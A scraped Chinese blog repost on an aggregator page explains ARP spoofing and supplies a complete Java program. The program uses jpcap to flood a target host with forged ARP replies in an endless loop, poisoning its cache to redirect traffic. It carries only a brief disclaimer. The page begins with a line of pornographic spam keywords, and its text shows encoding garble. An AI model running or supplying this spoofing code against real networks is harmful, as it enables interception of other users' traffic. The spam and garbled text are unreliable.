日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

java arp 攻击_用JAVA代码实现ARP攻击 | 学步园

發(fā)布時間:2023/12/15 编程问答 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 java arp 攻击_用JAVA代码实现ARP攻击 | 学步园 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

ARP攻擊原理

一臺電腦通過網(wǎng)絡(luò)訪問另一臺電腦的時候,在數(shù)據(jù)鏈路層需要知道對方的MAC地址進(jìn)行真正的物理通信.

而電腦上的應(yīng)用程序通常都是根據(jù)另一臺電腦的IP地址來和對方建立通信,這時候就需要有一個協(xié)議將

IP地址解析到MAC地址,這就是ARP協(xié)議.

而ARP具體過程就是當(dāng)需要通過IP獲取一個遠(yuǎn)端的的MAC地址的時候,系統(tǒng)會首先檢查ARP表中

是否存在對應(yīng)的IP地址,如果沒有,則發(fā)送一個ARP廣播,當(dāng)某一個擁有這個MAC地址的節(jié)點(diǎn)

收到ARP請求的時候,會創(chuàng)建一個ARP reply包,并發(fā)送到ARP請求的源節(jié)點(diǎn),

ARP Reply包中就包含了目的地節(jié)點(diǎn)的MAC地址,在源節(jié)點(diǎn)接受到這個reply后,

會將目的地節(jié)點(diǎn)的MAC地址保存在ARP緩存表中,下一次再次請求同一 IP地址的時候,

系統(tǒng)將會從ARP表中直接獲取目的地MAC地址,而不需要再次發(fā)送ARP廣播。

用ping命令舉例來說, 在機(jī)器A,比如說IP是192.168.1.2中發(fā)出下面的ping命令:

ping 192.168.1.3,如果192.168.1.3這個MAC地址在機(jī)器A的ARP緩存表中不存在,這時候

機(jī)器A就會發(fā)送一個ARP廣播,當(dāng)192.168.1.3接到廣播后,會給機(jī)器A回一個

ARP Reply包,其中包含了192.168.1.3的MAC地址,這是正常的ARP過程.

假設(shè)IP--MAC的對應(yīng)關(guān)系為(192.168.1.3--00-1C-23-2E-A7-0E)

但是局域網(wǎng)內(nèi)的其他機(jī)器也可向機(jī)器A發(fā)一個假的IP--MAC對應(yīng)關(guān)系A(chǔ)RP Reply包,

機(jī)器A接收到這個假的包后同樣會更新自己的ARP緩存表.假設(shè)發(fā)送的為

(192.168.1.3--00-1C-23-2E-A7-0A,0A實(shí)際上為192.168.1.4的MAC地址)

那么機(jī)器A再通過IP往192.168.1.3發(fā)送數(shù)據(jù)的時候,實(shí)際上卻發(fā)到了192.168.1.4這臺機(jī)器.

這樣就到達(dá)了ARP攻擊或者叫做ARP欺騙.ARP攻擊只能發(fā)生在局域網(wǎng)內(nèi).

本文旨在舉例說明ARP攻擊的原理,希望看官們不要用來惡作劇你局域網(wǎng)的其他機(jī)器,要不你的網(wǎng)管很快就會面談你滴...

下面用JAVA代碼模擬一下上面說到的ARP欺騙.

192.168.1.4將一個192.168.1.3的假的MAC地址發(fā)給 192.168.1.2.

需要用到j(luò)pcap.jar,可以從http://netresearch.ics.uci.edu/kfujii/Jpcap/doc/download.html下載.package com.test.arp;

import java.net.InetAddress;

import jpcap.JpcapCaptor;

import jpcap.JpcapSender;

import jpcap.NetworkInterface;

import jpcap.packet.ARPPacket;

import jpcap.packet.EthernetPacket;

public class SendFakeARP {

static byte[] stomac(String s) {

byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };

String[] s1 = s.split("-");

for (int x = 0; x < s1.length; x++) {

mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);

}

return mac;

}

public static void main(String[] args) throws Exception {

int time = 2; // 重發(fā)間隔時間

InetAddress desip = InetAddress.getByName("192.168.1.2");// 被欺騙的目標(biāo)IP地址

byte[] desmac = stomac("00-1c-23-3c-41-7f");// 被欺騙的目標(biāo)目標(biāo)MAC數(shù)組

InetAddress srcip = InetAddress.getByName("192.168.1.3");// 源IP地址

byte[] srcmac = stomac("00-1C-23-2E-A7-0A"); // 假的MAC數(shù)組

// 枚舉網(wǎng)卡并打開設(shè)備

NetworkInterface[] devices = JpcapCaptor.getDeviceList();

NetworkInterface device = devices[1];

JpcapSender sender = JpcapSender.openDevice(device);

// 設(shè)置ARP包

ARPPacket arp = new ARPPacket();

arp.hardtype = ARPPacket.HARDTYPE_ETHER;

arp.prototype = ARPPacket.PROTOTYPE_IP;

arp.operation = ARPPacket.ARP_REPLY;

arp.hlen = 6;

arp.plen = 4;

arp.sender_hardaddr = srcmac;

arp.sender_protoaddr = srcip.getAddress();

arp.target_hardaddr = desmac;

arp.target_protoaddr = desip.getAddress();

// 設(shè)置DLC幀

EthernetPacket ether = new EthernetPacket();

ether.frametype = EthernetPacket.ETHERTYPE_ARP;

ether.src_mac = srcmac;

ether.dst_mac = desmac;

arp.datalink = ether;

// 發(fā)送ARP應(yīng)答包

while (true) {

System.out.println("sending arp..");

sender.sendPacket(arp);

Thread.sleep(time * 1000);

}

}

}

總結(jié)

以上是生活随笔為你收集整理的java arp 攻击_用JAVA代码实现ARP攻击 | 学步园的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。